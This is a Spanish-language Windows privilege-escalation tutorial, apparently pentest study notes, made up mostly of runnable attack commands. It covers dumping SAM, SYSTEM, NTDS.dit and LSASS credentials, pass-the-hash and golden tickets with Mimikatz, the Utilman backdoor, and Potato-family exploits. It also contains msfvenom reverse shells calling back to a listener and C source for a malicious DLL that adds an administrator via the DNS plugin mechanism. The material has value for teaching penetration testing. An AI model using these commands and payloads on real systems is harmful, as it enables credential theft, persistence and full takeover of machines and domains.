Explotación de Privilegios y Grupos Especiales
Teoría: Privilegios en Windows
Los privilegios son derechos que tiene una cuenta para realizar tareas específicas del sistema. Se pueden verificar con:
whoami /priv
whoami /priv /fo listPara más detalles ver: https://docs.microsoft.com/en-us/windows/win32/secauthz/privilege-constants
SeBackupPrivilege y SeRestorePrivilege
¿Qué permiten?
- SeBackup: Leer cualquier archivo del sistema ignorando permisos DACL
- SeRestore: Escribir en cualquier archivo del sistema ignorando permisos DACL
¿Quién lo tiene?
- Grupo "Backup Operators" (por defecto)
- Cuentas de servicio de backup
Explotación - Copiar SAM y SYSTEM Hives
Paso 1: Verificar que tienes los privilegios
whoami /priv | findstr SeBackup
whoami /priv | findstr SeRestoreSi aparecen pero están "Disabled", necesitas habilitarlos:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeBackupPrivilege
Enable-Privilege -PrivilegeName SeRestorePrivilegePaso 2: Respaldar las colmenas del registro
# Respaldar SAM (contiene hashes de contraseñas locales)
reg save hklm\sam C:\Users\backup\sam.hive
# Respaldar SYSTEM (contiene clave de encriptación para SAM)
reg save hklm\system C:\Users\backup\system.hive
# Respaldar SECURITY (contiene LSA secrets - contraseñas de servicios)
reg save hklm\security C:\Users\backup\security.hivePaso 3: Transferir a Kali y extraer hashes
# En Kali
scp usuario@objetivo:C:\Users\backup\sam.hive .
scp usuario@objetivo:C:\Users\backup\system.hive .
python3 -m impacket.secretsdump -sam sam.hive -system system.hive LOCAL
# Resultado: hashes NTLM
Administrator:500:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Paso 4: Pass-the-Hash para acceso remoto
# Con Mimikatz (desde Windows)
./mimikatz.exe
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99
# Con impacket psexec (desde Kali)
python3 psexec.py -hashes aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99 Administrator@192.168.1.100Explotación - Copiar NTDS.dit en Domain Controllers
En Domain Controllers, NTDS.dit contiene TODOS los hashes de la organización.
# Usar diskshadow para crear snapshot
diskshadow.exe
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit
# Ver snapshot montado
dir E:
# Copiar NTDS.dit usando SeBackupPrivilege
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
# También necesitas SYSTEM hive
reg save hklm\system C:\Tools\SYSTEMExtraer en Kali:
python3 -m impacket.secretsdump -ntds ntds.dit -system SYSTEM LOCALSeRestorePrivilege - Escribir en Archivos Protegidos
Explotación: Reemplazar Binario del Sistema
# 1. Tomar posesión del archivo
takeown /f C:\Windows\System32\Utilman.exe
# 2. Dar permisos completos
icacls C:\Windows\System32\Utilman.exe /grant $env:USERNAME:F
# 3. Respaldar original
move C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.exe.bak
# 4. Copiar cmd.exe como reemplazo
copy C:\Windows\System32\cmd.exe C:\Windows\System32\Utilman.exe
# 5. En pantalla de login: presionar Windows+U abre cmd.exe como SYSTEMSeTakeOwnershipPrivilege
¿Qué permite? Tomar posesión de cualquier archivo o clave del registro y cambiar sus permisos.
Explotación Paso a Paso
1. Verificar que tienes el privilegio
whoami /priv | findstr SeTakeOwnership
# Si está "Disabled", habilitar:
Import-Module .\Enable-Privilege.ps1
Enable-Privilege -PrivilegeName SeTakeOwnershipPrivilege2. Identificar archivo objetivo
Por ejemplo, un archivo protegido con información confidencial:
icacls C:\Department Shares\Private\IT\cred.txt
# Resultado: SYSTEM:(I)(F) ADMIN:(I)(F)
# Tu usuario no tiene acceso3. Tomar posesión
takeown /f 'C:\Department Shares\Private\IT\cred.txt'
# Resultado: SUCCESS: The file now owned by user4. Dar permisos completos
icacls 'C:\Department Shares\Private\IT\cred.txt' /grant $env:USERNAME:F5. Leer el archivo
cat 'C:\Department Shares\Private\IT\cred.txt'
# Contenido: admin:MyPassword123!SeImpersonatePrivilege y SeAssignPrimaryTokenPrivilege
¿Qué permiten? Ejecutar código en el contexto de otro usuario con privilegios más altos. Frecuentemente lleva a SYSTEM.
¿Quién lo tiene?
- LocalService, NetworkService
- IIS AppPool (iis apppool\DefaultAppPool)
- Cuentas de servicios web
- SQL Server
Explotación con JuicyPotato
JuicyPotato es una herramienta que explota SeImpersonate/SeAssignPrimaryToken para escalar a SYSTEM.
Paso 1: Verificar privilegios
whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimaryToken"
# Resultado debe mostrar "Enabled"Paso 2: Descargar JuicyPotato
iwr -uri http://192.168.1.100/JuicyPotato.exe -OutFile JuicyPotato.exePaso 3: Crear payload (reverse shell)
# En Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4445 -f exe -o shell.exePaso 4: Crear listener
# En Kali
nc -lvp 4445Paso 5: Ejecutar JuicyPotato
# Crear usuario admin como payload
.\JuicyPotato.exe -l 9999 -p C:\Windows\System32\cmd.exe -a "/c net user newadmin Password123! /add"
# O reverse shell
.\JuicyPotato.exe -l 9999 -p C:\shell.exe -t *
# Parámetros:
# -l: Puerto local
# -p: Programa a ejecutar
# -a: Argumentos
# -t: Token (usar * para ambos)Paso 6: Verificar éxito
net user newadmin
net localgroup Administrators newadmin
# O recibir shell como SYSTEMExplotación con SigmaPotato
SigmaPotato es una alternativa más moderna y confiable a JuicyPotato. Funciona de manera similar pero con mejor compatibilidad.
Paso 1: Descargar SigmaPotato
iwr -uri http://192.168.1.100/SigmaPotato.exe -OutFile SigmaPotato.exePaso 2: Verificar SeImpersonatePrivilege
whoami /priv | findstr SeImpersonate
# Debe mostrar "Enabled"Paso 3: Crear usuario admin como SYSTEM
# Crear usuario
.\SigmaPotato "net user newadmin Password123! /add"
# Agregar a Administrators
.\SigmaPotato "net localgroup Administrators newadmin /add"
# Verificar
net user newadmin
net localgroup AdministratorsPaso 4: O crear reverse shell
# Con conexión inversa
.\SigmaPotato "C:\shell.exe"
# Parámetro: especificar comando entre comillasVentajas de SigmaPotato sobre JuicyPotato:
- No requiere especificar CLSID (más automático)
- Mejor compatibilidad con Windows moderno
- Salida de stderr y stdout clara
- Manejo de procesos más robusto
Paso 1: Descargar PrintSpoofer
iwr -uri http://192.168.1.100/PrintSpoofer.exe -OutFile PrintSpoofer.exePaso 2: Ejecutar
# Crear usuario como SYSTEM
.\PrintSpoofer.exe -c "net user newadmin Password123! /add"
.\PrintSpoofer.exe -c "net localgroup administrators newadmin /add"
# O reverse shell
.\PrintSpoofer.exe -c "C:\shell.exe"Explotación con RogueWinRM
RogueWinRM funciona porque cuando cualquier usuario inicia el servicio BITS, crea una conexión a puerto 5985 (WinRM) como SYSTEM. Podemos interceptar esa conexión.
Paso 1: Descargar RogueWinRM
iwr -uri http://192.168.1.100/RogueWinRM.exe -OutFile RogueWinRM.exePaso 2: Crear payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4446 -f exe -o shell.exePaso 3: Listener en Kali
nc -lvp 4446Paso 4: Ejecutar
.\RogueWinRM.exe -p "C:\shell.exe" -a ""
# Esperar 2 minutos (el servicio BITS se inicia automáticamente)Paso 5: Recibir shell como SYSTEM
Listening on 0.0.0.0 4446
Connection received from 192.168.1.100 49755
whoami
nt authority\systemExplotación con psgetsystem
Si tienes acceso PowerShell sin opciones de herramientas, puedes usar psgetsystem para suplantar SYSTEM.
# Descargar
iwr -uri http://192.168.1.100/psgetsys.ps1 -OutFile psgetsys.ps1
# Importar
. .\psgetsys.ps1
# Identificar proceso SYSTEM
tasklist | findstr System
# Suplantar (ej: PID 612 = System)
ImpersonateFromParentPid -ppid 612 -command "C:\Windows\System32\cmd.exe" -cmdargs ""SeDebugPrivilege
¿Qué permite? Acceder a la memoria de cualquier proceso. Permite volcar lsass.exe que contiene todas las contraseñas en texto plano.
¿Quién lo tiene? Típicamente: Administradores solamente
Explotación Paso a Paso
Paso 1: Verificar privilegio
whoami /priv | findstr SeDebugPaso 2: Descargar ProcDump (Sysinternals)
iwr -uri http://192.168.1.100/procdump.exe -OutFile procdump.exePaso 3: Volcar LSASS (Local Security Authority Subsystem Service)
LSASS almacena todas las contraseñas de usuarios logueados en memoria.
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# -ma = Full dump de memoria
# Resultado: lsass.dmp (~40-50 MB)Paso 4: Transferir a Kali
scp usuario@objetivo:lsass.dmp .Paso 5: Extraer credenciales con Mimikatz
# En Kali o Windows
mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
# Resultado: TODAS las contraseñas en texto plano
[00000003] Primary
* Username : usuario
* Domain : WORKGROUP
* NTLM : cf3a5525ee9414229e66279623ed5c58
* SHA1 : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2Mimikatz - Post-Explotación Completa
Una vez que tienes acceso como admin/SYSTEM, Mimikatz extrae todas las credenciales.
Descarga:
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220519/mimikatz_trunk.zip
unzip mimikatz_trunk.zip
cd mimikatz/x64Comandos principales:
.\mimikatz.exe
# Obtener privilegios de debug
privilege::debug
# Extraer TODAS las credenciales en memoria
sekurlsa::logonpasswords
# Volcado de SAM (local users)
token::elevate
lsadump::sam
# Kerberos tickets (para movimiento lateral)
sekurlsa::tickets
# Pass-the-Hash (autenticarse con hash sin saber contraseña)
sekurlsa::pth /user:Administrator /domain:. /ntlm:5f4dcc3b5aa765d61d8327deb882cf99 /run:cmd.exe
# Golden Ticket (falsificar ticket de admin en dominio - requiere krbtgt hash)
kerberos::golden /user:Administrator /domain:dominio.local /sid:S-1-5-21-... /krbtgt:krbtgt_hash /ptt
# Pass-the-Ticket
kerberos::ptt <ticket_file>
# Extraer credenciales guardadas
vault::cred /patchSeLoadDriverPrivilege
¿Qué permite? Cargar drivers arbitrarios en el kernel. Acceso total al sistema pero muy técnico.
Nota: Raro encontrarlo, pero extremadamente peligroso si lo tienes.
Grupo: Administrators
Permisos: Acceso total al sistema.
whoami /groups | findstr Administrators
# Si estás en este grupo, simplemente:
powershell -ep bypass
# Ya tienes acceso totalGrupo: Backup Operators
Permisos: SeBackupPrivilege, SeRestorePrivilege automáticamente.
Ver sección SeBackupPrivilege arriba.
Grupo: Remote Desktop Users
Permisos: Acceso RDP a la máquina.
whoami /groups | findstr "Remote Desktop"
# Desde otra máquina (Kali o Windows):
mstsc /v:192.168.1.100 /u:usuario
# Una vez en RDP tienes interfaz gráfica
# Esto es MÁS PODEROSO que shell remotoGrupo: Remote Management Users
Permisos: Acceso WinRM remoto (PowerShell remoto).
whoami /groups | findstr "Remote Management"
# Desde Kali (evil-winrm)
./evil-winrm -i 192.168.1.100 -u usuario -p password
# O desde PowerShell
$cred = New-Object System.Management.Automation.PSCredential("usuario", (ConvertTo-SecureString "password" -AsPlainText -Force))
$session = New-PSSession -ComputerName 192.168.1.100 -Credential $cred
Enter-PSSession $sessionGrupo: Event Log Readers
Permisos: Leer todos los logs del sistema (potencialmente con credenciales).
whoami /groups | findstr "Event Log"
# Buscar credenciales en logs
Get-WinEvent -LogName Security -MaxEvents 1000 |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message
# Eventos de logon (ver qué admins han iniciado sesión)
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4688} -MaxEvents 100 |
Select-Object TimeCreated, @{name='NewProcessName';expression={$_.Properties[5].Value}}Grupo: DnsAdmins
Permisos: Control total sobre servicio DNS (que corre como SYSTEM).
Explotación: Cargar DLL Maliciosa como Plugin DNS
Paso 1: Crear DLL maliciosa
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if(ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("net user newadmin Password123! /add");
system("net localgroup administrators newadmin /add");
}
return TRUE;
}Paso 2: Compilar en Kali
x86_64-w64-mingw32-gcc malicious.c --shared -o malicious.dllPaso 3: Colocar en objetivo
iwr -uri http://192.168.1.100/malicious.dll -OutFile C:\temp\malicious.dllPaso 4: Configurar como plugin DNS
whoami /groups | findstr DnsAdmins
# Si estás en el grupo:
dnscmd.exe /config /serverlevelplugindll C:\temp\malicious.dllPaso 5: Reiniciar servicio DNS
net stop dns
net start dns
# La DLL se carga como SYSTEMPaso 6: Verificar
net user newadmin
net localgroup AdministratorsGrupo: Hyper-V Administrators
Permisos: Control total sobre máquinas virtuales.
whoami /groups | findstr "Hyper-V"
Get-VM
# Conectar a consola de VM y ejecutar comandos como admin en ese sistemaGrupo: Print Operators
Permisos: Control sobre print spooler (que corre como SYSTEM).
Explotación: Cargar Driver Malicioso
El print spooler permite cargar drivers arbitrarios.
whoami /groups | findstr Print
Get-Service spooler | Select-Object StartType, Status
# Cargar driver malicioso (requiere PoC específico)
# Alternativa: usar Capcom.sys exploit
.\capcom.exe
# Carga driver que permite código en kernelGrupo: Server Operators
Permisos: Control sobre servicios del servidor.
whoami /groups | findstr Server
# Ver servicios modificables
Get-Service | Where-Object {$_.StartType -eq "Automatic"}
# Verificar permisos del binario del servicio
icacls "C:\ruta\al\binario.exe"
# Si tienes Write: reemplazar (igual a Service Binary Hijacking)Activar Privilegios Desactivados
Muchos privilegios aparecen como "Disabled" pero pueden activarse:
whoami /priv /fo list
# Importar módulo para activarlos
Import-Module .\Enable-Privilege.ps1
# Activar privilegio
Enable-Privilege -PrivilegeName SeBackupPrivilege
# Verificar
whoami /priv | findstr SeBackup
# Debe mostrar "Enabled"